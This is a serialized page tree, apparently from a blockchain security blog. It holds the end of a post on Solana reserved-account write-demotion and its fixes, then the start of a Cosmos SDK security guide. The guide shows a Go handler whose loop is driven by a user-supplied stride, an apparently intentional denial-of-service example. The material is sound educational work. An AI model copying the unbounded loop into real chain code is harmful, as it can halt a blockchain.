Signer\u003C'info>,\n}\n",[76576],{"type":22,"tag":257,"props":76577,"children":76578},{"__ignoreMap":7},[76579,76594,76621,76636,76675,76682,76729,76760,76767,76782,76813,76820,76835,76866],{"type":22,"tag":264,"props":76580,"children":76581},{"class":1534,"line":1535},[76582,76586,76590],{"type":22,"tag":264,"props":76583,"children":76584},{"style":1539},[76585],{"type":27,"value":24138},{"type":22,"tag":264,"props":76587,"children":76588},{"style":4722},[76589],{"type":27,"value":24143},{"type":22,"tag":264,"props":76591,"children":76592},{"style":1539},[76593],{"type":27,"value":21565},{"type":22,"tag":264,"props":76595,"children":76596},{"class":1534,"line":1545},[76597,76601,76605,76609,76613,76617],{"type":22,"tag":264,"props":76598,"children":76599},{"style":4293},[76600],{"type":27,"value":14989},{"type":22,"tag":264,"props":76602,"children":76603},{"style":4293},[76604],{"type":27,"value":22458},{"type":22,"tag":264,"props":76606,"children":76607},{"style":4722},[76608],{"type":27,"value":72634},{"type":22,"tag":264,"props":76610,"children":76611},{"style":1539},[76612],{"type":27,"value":24223},{"type":22,"tag":264,"props":76614,"children":76615},{"style":4722},[76616],{"type":27,"value":24228},{"type":22,"tag":264,"props":76618,"children":76619},{"style":1539},[76620],{"type":27,"value":8574},{"type":22,"tag":264,"props":76622,"children":76623},{"class":1534,"line":1560},[76624,76628,76632],{"type":22,"tag":264,"props":76625,"children":76626},{"style":1539},[76627],{"type":27,"value":24430},{"type":22,"tag":264,"props":76629,"children":76630},{"style":4293},[76631],{"type":27,"value":5035},{"type":22,"tag":264,"props":76633,"children":76634},{"style":1539},[76635],{"type":27,"value":21565},{"type":22,"tag":264,"props":76637,"children":76638},{"class":1534,"line":1569},[76639,76643,76647,76651,76655,76659,76663,76667,76671],{"type":22,"tag":264,"props":76640,"children":76641},{"style":4293},[76642],{"type":27,"value":22150},{"type":22,"tag":264,"props":76644,"children":76645},{"style":1549},[76646],{"type":27,"value":72673},{"type":22,"tag":264,"props":76648,"children":76649},{"style":4309},[76650],{"type":27,"value":5785},{"type":22,"tag":264,"props":76652,"children":76653},{"style":4722},[76654],{"type":27,"value":24395},{"type":22,"tag":264,"props":76656,"children":76657},{"style":1539},[76658],{"type":27,"value":24223},{"type":22,"tag":264,"props":76660,"children":76661},{"style":4722},[76662],{"type":27,"value":24228},{"type":22,"tag":264,"props":76664,"children":76665},{"style":1539},[76666],{"type":27,"value":4380},{"type":22,"tag":264,"props":76668,"children":76669},{"style":4722},[76670],{"type":27,"value":72698},{"type":22,"tag":264,"props":76672,"children":76673},{"style":1539},[76674],{"type":27,"value":7430},{"type":22,"tag":264,"props":76676,"children":76677},{"class":1534,"line":1583},[76678],{"type":22,"tag":264,"props":76679,"children":76680},{"emptyLinePlaceholder":17},[76681],{"type":27,"value":4986},{"type":22,"tag":264,"props":76683,"children":76684},{"class":1534,"line":1603},[76685,76689,76693,76697,76701,76705,76709,76713,76717,76721,76725],{"type":22,"tag":264,"props":76686,"children":76687},{"style":1539},[76688],{"type":27,"value":24430},{"type":22,"tag":264,"props":76690,"children":76691},{"style":4293},[76692],{"type":27,"value":5035},{"type":22,"tag":264,"props":76694,"children":76695},{"style":1539},[76696],{"type":27,"value":72733},{"type":22,"tag":264,"props":76698,"children":76699},{"style":4309},[76700],{"type":27,"value":429},{"type":22,"tag":264,"props":76702,"children":76703},{"style":1539},[76704],{"type":27,"value":72742},{"type":22,"tag":264,"props":76706,"children":76707},{"style":4309},[76708],{"type":27,"value":210},{"type":22,"tag":264,"props":76710,"children":76711},{"style":1539},[76712],{"type":27,"value":72751},{"type":22,"tag":264,"props":76714,"children":76715},{"style":4309},[76716],{"type":27,"value":9870},{"type":22,"tag":264,"props":76718,"children":76719},{"style":1539},[76720],{"type":27,"value":72673},{"type":22,"tag":264,"props":76722,"children":76723},{"style":4309},[76724],{"type":27,"value":210},{"type":22,"tag":264,"props":76726,"children":76727},{"style":1539},[76728],{"type":27,"value":72768},{"type":22,"tag":264,"props":76730,"children":76731},{"class":1534,"line":1612},[76732,76736,76740,76744,76748,76752,76756],{"type":22,"tag":264,"props":76733,"children":76734},{"style":4293},[76735],{"type":27,"value":22150},{"type":22,"tag":264,"props":76737,"children":76738},{"style":1549},[76739],{"type":27,"value":72742},{"type":22,"tag":264,"props":76741,"children":76742},{"style":4309},[76743],{"type":27,"value":5785},{"type":22,"tag":264,"props":76745,"children":76746},{"style":4722},[76747],{"type":27,"value":26710},{"type":22,"tag":264,"props":76749,"children":76750},{"style":1539},[76751],{"type":27,"value":24223},{"type":22,"tag":264,"props":76753,"children":76754},{"style":4722},[76755],{"type":27,"value":24228},{"type":22,"tag":264,"props":76757,"children":76758},{"style":1539},[76759],{"type":27,"value":7430},{"type":22,"tag":264,"props":76761,"children":76762},{"class":1534,"line":1621},[76763],{"type":22,"tag":264,"props":76764,"children":76765},{"emptyLinePlaceholder":17},[76766],{"type":27,"value":4986},{"type":22,"tag":264,"props":76768,"children":76769},{"class":1534,"line":1629},[76770,76774,76778],{"type":22,"tag":264,"props":76771,"children":76772},{"style":1539},[76773],{"type":27,"value":24430},{"type":22,"tag":264,"props":76775,"children":76776},{"style":4293},[76777],{"type":27,"value":5035},{"type":22,"tag":264,"props":76779,"children":76780},{"style":1539},[76781],{"type":27,"value":21565},{"type":22,"tag":264,"props":76783,"children":76784},{"class":1534,"line":1642},[76785,76789,76793,76797,76801,76805,76809],{"type":22,"tag":264,"props":76786,"children":76787},{"style":4293},[76788],{"type":27,"value":22150},{"type":22,"tag":264,"props":76790,"children":76791},{"style":1549},[76792],{"type":27,"value":72841},{"type":22,"tag":264,"props":76794,"children":76795},{"style":4309},[76796],{"type":27,"value":5785},{"type":22,"tag":264,"props":76798,"children":76799},{"style":4722},[76800],{"type":27,"value":26710},{"type":22,"tag":264,"props":76802,"children":76803},{"style":1539},[76804],{"type":27,"value":24223},{"type":22,"tag":264,"props":76806,"children":76807},{"style":4722},[76808],{"type":27,"value":24228},{"type":22,"tag":264,"props":76810,"children":76811},{"style":1539},[76812],{"type":27,"value":7430},{"type":22,"tag":264,"props":76814,"children":76815},{"class":1534,"line":1660},[76816],{"type":22,"tag":264,"props":76817,"children":76818},{"emptyLinePlaceholder":17},[76819],{"type":27,"value":4986},{"type":22,"tag":264,"props":76821,"children":76822},{"class":1534,"line":1668},[76823,76827,76831],{"type":22,"tag":264,"props":76824,"children":76825},{"style":1539},[76826],{"type":27,"value":24430},{"type":22,"tag":264,"props":76828,"children":76829},{"style":4293},[76830],{"type":27,"value":5035},{"type":22,"tag":264,"props":76832,"children":76833},{"style":1539},[76834],{"type":27,"value":21565},{"type":22,"tag":264,"props":76836,"children":76837},{"class":1534,"line":1677},[76838,76842,76846,76850,76854,76858,76862],{"type":22,"tag":264,"props":76839,"children":76840},{"style":4293},[76841],{"type":27,"value":22150},{"type":22,"tag":264,"props":76843,"children":76844},{"style":1549},[76845],{"type":27,"value":43557},{"type":22,"tag":264,"props":76847,"children":76848},{"style":4309},[76849],{"type":27,"value":5785},{"type":22,"tag":264,"props":76851,"children":76852},{"style":4722},[76853],{"type":27,"value":24459},{"type":22,"tag":264,"props":76855,"children":76856},{"style":1539},[76857],{"type":27,"value":24223},{"type":22,"tag":264,"props":76859,"children":76860},{"style":4722},[76861],{"type":27,"value":24228},{"type":22,"tag":264,"props":76863,"children":76864},{"style":1539},[76865],{"type":27,"value":7430},{"type":22,"tag":264,"props":76867,"children":76868},{"class":1534,"line":1686},[76869],{"type":22,"tag":264,"props":76870,"children":76871},{"style":1539},[76872],{"type":27,"value":1692},{"type":22,"tag":23,"props":76874,"children":76875},{},[76876,76878,76884,76886,76892],{"type":27,"value":76877},"This works fine — until one day, ",{"type":22,"tag":257,"props":76879,"children":76881},{"className":76880},[],[76882],{"type":27,"value":76883},"old_king",{"type":27,"value":76885}," is silently demoted. Suddenly, the ",{"type":22,"tag":257,"props":76887,"children":76889},{"className":76888},[],[76890],{"type":27,"value":76891},"#[account(mut)]",{"type":27,"value":76893}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":22,"tag":20197,"props":76895,"children":76897},{"id":76896},"real-world-example-write-demotion-with-secp256r1_program",[76898,76900],{"type":27,"value":76899},"Real-World Example: Write-Demotion with ",{"type":22,"tag":257,"props":76901,"children":76903},{"className":76902},[],[76904],{"type":27,"value":76905},"secp256r1_program",{"type":22,"tag":23,"props":76907,"children":76908},{},[76909,76911,76916],{"type":27,"value":76910},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":22,"tag":257,"props":76912,"children":76914},{"className":76913},[],[76915],{"type":27,"value":76905},{"type":27,"value":76917},", a precompiled program gated behind a feature flag:",{"type":22,"tag":618,"props":76919,"children":76921},{"className":4274,"code":76920,"language":4273,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[76922],{"type":22,"tag":257,"props":76923,"children":76924},{"__ignoreMap":7},[76925,76946,76966,76995],{"type":22,"tag":264,"props":76926,"children":76927},{"class":1534,"line":1535},[76928,76933,76937,76942],{"type":22,"tag":264,"props":76929,"children":76930},{"style":4722},[76931],{"type":27,"value":76932},"ReservedAccount",{"type":22,"tag":264,"props":76934,"children":76935},{"style":4309},[76936],{"type":27,"value":4785},{"type":22,"tag":264,"props":76938,"children":76939},{"style":4401},[76940],{"type":27,"value":76941},"new_pending",{"type":22,"tag":264,"props":76943,"children":76944},{"style":1539},[76945],{"type":27,"value":4767},{"type":22,"tag":264,"props":76947,"children":76948},{"class":1534,"line":1545},[76949,76954,76958,76962],{"type":22,"tag":264,"props":76950,"children":76951},{"style":1539},[76952],{"type":27,"value":76953},"    secp256r1_program",{"type":22,"tag":264,"props":76955,"children":76956},{"style":4309},[76957],{"type":27,"value":4785},{"type":22,"tag":264,"props":76959,"children":76960},{"style":4401},[76961],{"type":27,"value":4790},{"type":22,"tag":264,"props":76963,"children":76964},{"style":1539},[76965],{"type":27,"value":4795},{"type":22,"tag":264,"props":76967,"children":76968},{"class":1534,"line":1560},[76969,76974,76978,76983,76987,76991],{"type":22,"tag":264,"props":76970,"children":76971},{"style":1539},[76972],{"type":27,"value":76973},"    feature_set",{"type":22,"tag":264,"props":76975,"children":76976},{"style":4309},[76977],{"type":27,"value":4785},{"type":22,"tag":264,"props":76979,"children":76980},{"style":1539},[76981],{"type":27,"value":76982},"enable_secp256r1_precompile",{"type":22,"tag":264,"props":76984,"children":76985},{"style":4309},[76986],{"type":27,"value":4785},{"type":22,"tag":264,"props":76988,"children":76989},{"style":4401},[76990],{"type":27,"value":4790},{"type":22,"tag":264,"props":76992,"children":76993},{"style":1539},[76994],{"type":27,"value":4795},{"type":22,"tag":264,"props":76996,"children":76997},{"class":1534,"line":1569},[76998],{"type":22,"tag":264,"props":76999,"children":77000},{"style":1539},[77001],{"type":27,"value":4463},{"type":22,"tag":23,"props":77003,"children":77004},{},[77005,77007,77012,77014,77020],{"type":27,"value":77006},"Before the ",{"type":22,"tag":257,"props":77008,"children":77010},{"className":77009},[],[77011],{"type":27,"value":76982},{"type":27,"value":77013}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":22,"tag":257,"props":77015,"children":77017},{"className":77016},[],[77018],{"type":27,"value":77019},"secp256r1_program::id()",{"type":27,"value":77021}," as the king in a contract.",{"type":22,"tag":23,"props":77023,"children":77024},{},[77025,77027,77032],{"type":27,"value":77026},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":22,"tag":257,"props":77028,"children":77030},{"className":77029},[],[77031],{"type":27,"value":77019},{"type":27,"value":77033}," becomes the eternal king, and no one can dethrone it.",{"type":22,"tag":20197,"props":77035,"children":77037},{"id":77036},"fix-3-preventing-write-demotion-pitfalls",[77038],{"type":27,"value":77039},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":22,"tag":23,"props":77041,"children":77042},{},[77043,77045,77050],{"type":27,"value":77044},"Alright, let’s try to fix this ",{"type":22,"tag":1699,"props":77046,"children":77047},{},[77048],{"type":27,"value":77049},"yet another",{"type":27,"value":77051}," edge case — and hopefully close the book on it.",{"type":22,"tag":20197,"props":77053,"children":77055},{"id":77054},"attempt-1-block-known-reserved-accounts",[77056],{"type":27,"value":77057},"Attempt 1: Block Known Reserved Accounts",{"type":22,"tag":23,"props":77059,"children":77060},{},[77061],{"type":27,"value":77062},"One naive solution is to reject any known reserved account, for example:",{"type":22,"tag":618,"props":77064,"children":77066},{"className":41675,"code":77065,"language":41677,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[77067],{"type":22,"tag":257,"props":77068,"children":77069},{"__ignoreMap":7},[77070,77078],{"type":22,"tag":264,"props":77071,"children":77072},{"class":1534,"line":1535},[77073],{"type":22,"tag":264,"props":77074,"children":77075},{"style":1539},[77076],{"type":27,"value":77077},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":22,"tag":264,"props":77079,"children":77080},{"class":1534,"line":1545},[77081],{"type":22,"tag":264,"props":77082,"children":77083},{"style":4344},[77084],{"type":27,"value":77085},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":22,"tag":23,"props":77087,"children":77088},{},[77089,77091,77096],{"type":27,"value":77090},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":22,"tag":257,"props":77092,"children":77094},{"className":77093},[],[77095],{"type":27,"value":76932},{"type":27,"value":77097}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":22,"tag":20197,"props":77099,"children":77101},{"id":77100},"attempt-2-use-a-pda-vault",[77102],{"type":27,"value":77103},"Attempt 2: Use a PDA Vault",{"type":22,"tag":23,"props":77105,"children":77106},{},[77107,77109,77114],{"type":27,"value":77108},"A more future-proof fix is to avoid ",{"type":22,"tag":242,"props":77110,"children":77111},{},[77112],{"type":27,"value":77113},"transferring lamports to arbitrary accounts",{"type":27,"value":77115}," altogether.",{"type":22,"tag":23,"props":77117,"children":77118},{},[77119],{"type":27,"value":77120},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":22,"tag":169,"props":77122,"children":77124},{"id":77123},"final-thoughts",[77125],{"type":27,"value":77126},"Final Thoughts",{"type":22,"tag":23,"props":77128,"children":77129},{},[77130],{"type":27,"value":77131},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":22,"tag":23,"props":77133,"children":77134},{},[77135],{"type":27,"value":77136},"We can safely transfer lamports to an account under the following conditions:",{"type":22,"tag":17988,"props":77138,"children":77139},{},[77140,77145,77150],{"type":22,"tag":1871,"props":77141,"children":77142},{},[77143],{"type":27,"value":77144},"It's not executable.",{"type":22,"tag":1871,"props":77146,"children":77147},{},[77148],{"type":27,"value":77149},"Its balance, after the transfer, remains rent-exempt.",{"type":22,"tag":1871,"props":77151,"children":77152},{},[77153],{"type":27,"value":77154},"It's not a reserved account.",{"type":22,"tag":23,"props":77156,"children":77157},{},[77158],{"type":27,"value":77159},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":22,"tag":4139,"props":77161,"children":77162},{},[77163],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":77165},[77166,77167,77168,77174],{"id":30329,"depth":1545,"text":30332},{"id":72548,"depth":1545,"text":72551},{"id":73655,"depth":1545,"text":73658,"children":77169},[77170,77171,77173],{"id":73661,"depth":1560,"text":73664},{"id":74348,"depth":1560,"text":77172},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":75653,"depth":1560,"text":75656},{"id":77123,"depth":1545,"text":77126},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":77179,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":77180,"description":77181,"date":77182,"author":77183,"image":77184,"isFeatured":17,"onBlogPage":17,"tags":77186,"body":77189,"_type":4157,"_id":91071,"_source":4159,"_file":91072,"_stem":91073,"_extension":4162},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":77185,"width":14922,"height":14922},"/posts/cosmos-security/title.png",[77187,77188],"cosmos-sdk","security",{"type":19,"children":77190,"toc":91049},[77191,77195,77200,77205,77211,77216,77221,77226,77487,77976,77995,78000,78005,78010,78016,78021,78056,78066,78573,78593,78606,78612,78617,78622,78863,78868,78876,78888,79250,79255,79260,79296,79305,79731,79752,79758,79778,79799,79818,79850,79862,79874,80528,80556,80565,81005,81032,81052,81057,81078,81127,81136,82368,82396,82402,82407,82412,82432,82719,82753,82934,82939,82944,82988,82997,84189,84439,84452,84458,84492,84497,84560,84565,84585,84604,84616,84635,85327,85332,85337,85365,85374,86259,86286,86292,86312,86317,86330,86504,86517,86608,86613,86621,86631,86781,86786,86806,86814,86819,87217,87229,87234,87275,87286,87306,87614,87619,88544,88556,88564,88569,89562,89567,89579,89599,89618,90531,90587,90693,90705,90710,90715,90743,90752,90978,91004,91017,91031,91035,91040,91045],{"type":22,"tag":169,"props":77192,"children":77193},{"id":30329},[77194],{"type":27,"value":30332},{"type":22,"tag":23,"props":77196,"children":77197},{},[77198],{"type":27,"value":77199},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":22,"tag":23,"props":77201,"children":77202},{},[77203],{"type":27,"value":77204},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":22,"tag":169,"props":77206,"children":77208},{"id":77207},"its-loopin-time",[77209],{"type":27,"value":77210},"It's Loopin' Time",{"type":22,"tag":23,"props":77212,"children":77213},{},[77214],{"type":27,"value":77215},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":22,"tag":23,"props":77217,"children":77218},{},[77219],{"type":27,"value":77220},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":22,"tag":23,"props":77222,"children":77223},{},[77224],{"type":27,"value":77225},"Here is a simple example for reference:",{"type":22,"tag":618,"props":77227,"children":77229},{"code":77228,"language":5767,"meta":7,"className":5768,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[77230],{"type":22,"tag":257,"props":77231,"children":77232},{"__ignoreMap":7},[77233,77249,77266,77282,77304,77333,77354,77378,77399,77406,77427,77444,77461,77468,77480],{"type":22,"tag":264,"props":77234,"children":77235},{"class":1534,"line":1535},[77236,77240,77245],{"type":22,"tag":264,"props":77237,"children":77238},{"style":4293},[77239],{"type":27,"value":32692},{"type":22,"tag":264,"props":77241,"children":77242},{"style":4401},[77243],{"type":27,"value":77244}," sumWithStride",{"type":22,"tag":264,"props":77246,"children":77247},{"style":1539},[77248],{"type":27,"value":4767},{"type":22,"tag":264,"props":77250,"children":77251},{"class":1534,"line":1545},[77252,77257,77262],{"type":22,"tag":264,"props":77253,"children":77254},{"style":4722},[77255],{"type":27,"value":77256},"    uint64",{"type":22,"tag":264,"props":77258,"children":77259},{"style":1549},[77260],{"type":27,"value":77261}," start",{"type":22,"tag":264,"props":77263,"children":77264},{"style":1539},[77265],{"type":27,"value":4812},{"type":22,"tag":264,"props":77267,"children":77268},{"class":1534,"line":1560},[77269,77273,77278],{"type":22,"tag":264,"props":77270,"children":77271},{"style":4722},[77272],{"type":27,"value":77256},{"type":22,"tag":264,"props":77274,"children":77275},{"style":1549},[77276],{"type":27,"value":77277}," stride",{"type":22,"tag":264,"props":77279,"children":77280},{"style":1539},[77281],{"type":27,"value":4812},{"type":22,"tag":264,"props":77283,"children":77284},{"class":1534,"line":1569},[77285,77289,77294,77299],{"type":22,"tag":264,"props":77286,"children":77287},{"style":4722},[77288],{"type":27,"value":77256},{"type":22,"tag":264,"props":77290,"children":77291},{"style":1539},[77292],{"type":27,"value":77293},"[] ",{"type":22,"tag":264,"props":77295,"children":77296},{"style":4293},[77297],{"type":27,"value":77298},"memory",{"type":22,"tag":264,"props":77300,"children":77301},{"style":1549},[77302],{"type":27,"value":77303}," arr\n",{"type":22,"tag":264,"props":77305,"children":77306},{"class":1534,"line":1583},[77307,77311,77315,77320,77324,77329],{"type":22,"tag":264,"props":77308,"children":77309},{"style":1539},[77310],{"type":27,"value":4390},{"type":22,"tag":264,"props":77312,"children":77313},{"style":4293},[77314],{"type":27,"value":62997},{"type":22,"tag":264,"props":77316,"children":77317},{"style":4328},[77318],{"type":27,"value":77319}," returns",{"type":22,"tag":264,"props":77321,"children":77322},{"style":1539},[77323],{"type":27,"value":4370},{"type":22,"tag":264,"props":77325,"children":77326},{"style":4722},[77327],{"type":27,"value":77328},"uint64",{"type":22,"tag":264,"props":77330,"children":77331},{"style":1539},[77332],{"type":27,"value":16103},{"type":22,"tag":264,"props":77334,"children":77335},{"class":1534,"line":1603},[77336,77340,77345,77349],{"type":22,"tag":264,"props":77337,"children":77338},{"style":4722},[77339],{"type":27,"value":77256},{"type":22,"tag":264,"props":77341,"children":77342},{"style":1539},[77343],{"type":27,"value":77344}," idx ",{"type":22,"tag":264,"props":77346,"children":77347},{"style":4309},[77348],{"type":27,"value":429},{"type":22,"tag":264,"props":77350,"children":77351},{"style":1539},[77352],{"type":27,"value":77353}," start;\n",{"type":22,"tag":264,"props":77355,"children":77356},{"class":1534,"line":1612},[77357,77361,77366,77370,77374],{"type":22,"tag":264,"props":77358,"children":77359},{"style":4722},[77360],{"type":27,"value":77256},{"type":22,"tag":264,"props":77362,"children":77363},{"style":1539},[77364],{"type":27,"value":77365}," sum ",{"type":22,"tag":264,"props":77367,"children":77368},{"style":4309},[77369],{"type":27,"value":429},{"type":22,"tag":264,"props":77371,"children":77372},{"style":4344},[77373],{"type":27,"value":4347},{"type":22,"tag":264,"props":77375,"children":77376},{"style":1539},[77377],{"type":27,"value":4322},{"type":22,"tag":264,"props":77379,"children":77380},{"class":1534,"line":1621},[77381,77385,77390,77394],{"type":22,"tag":264,"props":77382,"children":77383},{"style":4722},[77384],{"type":27,"value":77256},{"type":22,"tag":264,"props":77386,"children":77387},{"style":1539},[77388],{"type":27,"value":77389}," end ",{"type":22,"tag":264,"props":77391,"children":77392},{"style":4309},[77393],{"type":27,"value":429},{"type":22,"tag":264,"props":77395,"children":77396},{"style":1539},[77397],{"type":27,"value":77398}," arr.length;\n",{"type":22,"tag":264,"props":77400,"children":77401},{"class":1534,"line":1629},[77402],{"type":22,"tag":264,"props":77403,"children":77404},{"emptyLinePlaceholder":17},[77405],{"type":27,"value":4986},{"type":22,"tag":264,"props":77407,"children":77408},{"class":1534,"line":1642},[77409,77413,77418,77422],{"type":22,"tag":264,"props":77410,"children":77411},{"style":4328},[77412],{"type":27,"value":65696},{"type":22,"tag":264,"props":77414,"children":77415},{"style":1539},[77416],{"type":27,"value":77417}," (idx ",{"type":22,"tag":264,"props":77419,"children":77420},{"style":4309},[77421],{"type":27,"value":7097},{"type":22,"tag":264,"props":77423,"children":77424},{"style":1539},[77425],{"type":27,"value":77426}," end) {\n",{"type":22,"tag":264,"props":77428,"children":77429},{"class":1534,"line":1660},[77430,77435,77439],{"type":22,"tag":264,"props":77431,"children":77432},{"style":1539},[77433],{"type":27,"value":77434},"        sum ",{"type":22,"tag":264,"props":77436,"children":77437},{"style":4309},[77438],{"type":27,"value":69761},{"type":22,"tag":264,"props":77440,"children":77441},{"style":1539},[77442],{"type":27,"value":77443}," arr[idx];\n",{"type":22,"tag":264,"props":77445,"children":77446},{"class":1534,"line":1668},[77447,77452,77456],{"type":22,"tag":264,"props":77448,"children":77449},{"style":1539},[77450],{"type":27,"value":77451},"        idx ",{"type":22,"tag":264,"props":77453,"children":77454},{"style":4309},[77455],{"type":27,"value":69761},{"type":22,"tag":264,"props":77457,"children":77458},{"style":1539},[77459],{"type":27,"value":77460}," stride;\n",{"type":22,"tag":264,"props":77462,"children":77463},{"class":1534,"line":1677},[77464],{"type":22,"tag":264,"props":77465,"children":77466},{"style":1539},[77467],{"type":27,"value":1674},{"type":22,"tag":264,"props":77469,"children":77470},{"class":1534,"line":1686},[77471,77475],{"type":22,"tag":264,"props":77472,"children":77473},{"style":4328},[77474],{"type":27,"value":18291},{"type":22,"tag":264,"props":77476,"children":77477},{"style":1539},[77478],{"type":27,"value":77479}," sum;\n",{"type":22,"tag":264,"props":77481,"children":77482},{"class":1534,"line":4948},[77483],{"type":22,"tag":264,"props":77484,"children":77485},{"style":1539},[77486],{"type":27,"value":1692},{"type":22,"tag":618,"props":77488,"children":77492},{"code":77489,"language":77490,"meta":7,"className":77491,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[77493],{"type":22,"tag":257,"props":77494,"children":77495},{"__ignoreMap":7},[77496,77516,77529,77541,77559,77566,77573,77593,77605,77612,77619,77654,77680,77701,77730,77760,77805,77882,77918,77925,77969],{"type":22,"tag":264,"props":77497,"children":77498},{"class":1534,"line":1535},[77499,77503,77508,77512],{"type":22,"tag":264,"props":77500,"children":77501},{"style":4293},[77502],{"type":27,"value":34072},{"type":22,"tag":264,"props":77504,"children":77505},{"style":4722},[77506],{"type":27,"value":77507}," MsgSumWithStrideParams",{"type":22,"tag":264,"props":77509,"children":77510},{"style":4293},[77511],{"type":27,"value":22458},{"type":22,"tag":264,"props":77513,"children":77514},{"style":1539},[77515],{"type":27,"value":4594},{"type":22,"tag":264,"props":77517,"children":77518},{"class":1534,"line":1545},[77519,77524],{"type":22,"tag":264,"props":77520,"children":77521},{"style":1549},[77522],{"type":27,"value":77523},"    Start",{"type":22,"tag":264,"props":77525,"children":77526},{"style":4722},[77527],{"type":27,"value":77528}," uint64\n",{"type":22,"tag":264,"props":77530,"children":77531},{"class":1534,"line":1560},[77532,77537],{"type":22,"tag":264,"props":77533,"children":77534},{"style":1549},[77535],{"type":27,"value":77536},"    Stride",{"type":22,"tag":264,"props":77538,"children":77539},{"style":4722},[77540],{"type":27,"value":77528},{"type":22,"tag":264,"props":77542,"children":77543},{"class":1534,"line":1569},[77544,77549,77554],{"type":22,"tag":264,"props":77545,"children":77546},{"style":1549},[77547],{"type":27,"value":77548},"    Arr",{"type":22,"tag":264,"props":77550,"children":77551},{"style":1539},[77552],{"type":27,"value":77553}," []",{"type":22,"tag":264,"props":77555,"children":77556},{"style":4722},[77557],{"type":27,"value":77558},"uint64\n",{"type":22,"tag":264,"props":77560,"children":77561},{"class":1534,"line":1583},[77562],{"type":22,"tag":264,"props":77563,"children":77564},{"style":1539},[77565],{"type":27,"value":1692},{"type":22,"tag":264,"props":77567,"children":77568},{"class":1534,"line":1603},[77569],{"type":22,"tag":264,"props":77570,"children":77571},{"emptyLinePlaceholder":17},[77572],{"type":27,"value":4986},{"type":22,"tag":264,"props":77574,"children":77575},{"class":1534,"line":1612},[77576,77580,77585,77589],{"type":22,"tag":264,"props":77577,"children":77578},{"style":4293},[77579],{"type":27,"value":34072},{"type":22,"tag":264,"props":77581,"children":77582},{"style":4722},[77583],{"type":27,"value":77584}," MsgSumWithStrideResponse",{"type":22,"tag":264,"props":77586,"children":77587},{"style":4293},[77588],{"type":27,"value":22458},{"type":22,"tag":264,"props":77590,"children":77591},{"style":1539},[77592],{"type":27,"value":4594},{"type":22,"tag":264,"props":77594,"children":77595},{"class":1534,"line":1621},[77596,77601],{"type":22,"tag":264,"props":77597,"children":77598},{"style":1549},[77599],{"type":27,"value":77600},"    Sum",{"type":22,"tag":264,"props":77602,"children":77603},{"style":4722},[77604],{"type":27,"value":77528},{"type":22,"tag":264,"props":77606,"children":77607},{"class":1534,"line":1629},[77608],{"type":22,"tag":264,"props":77609,"children":77610},{"style":1539},[77611],{"type":27,"value":1692},{"type":22,"tag":264,"props":77613,"children":77614},{"class":1534,"line":1642},[77615],{"type":22,"tag":264,"props":77616,"children":77617},{"emptyLinePlaceholder":17},[77618],{"type":27,"value":4986},{"type":22,"tag":264,"props":77620,"children":77621},{"class":1534,"line":1660},[77622,77627,77631,77636,77641,77645,77650],{"type":22,"tag":264,"props":77623,"children":77624},{"style":4293},[77625],{"type":27,"value":77626},"func",{"type":22,"tag":264,"props":77628,"children":77629},{"style":1539},[77630],{"type":27,"value":4370},{"type":22,"tag":264,"props":77632,"children":77633},{"style":1549},[77634],{"type":27,"value":77635},"ms 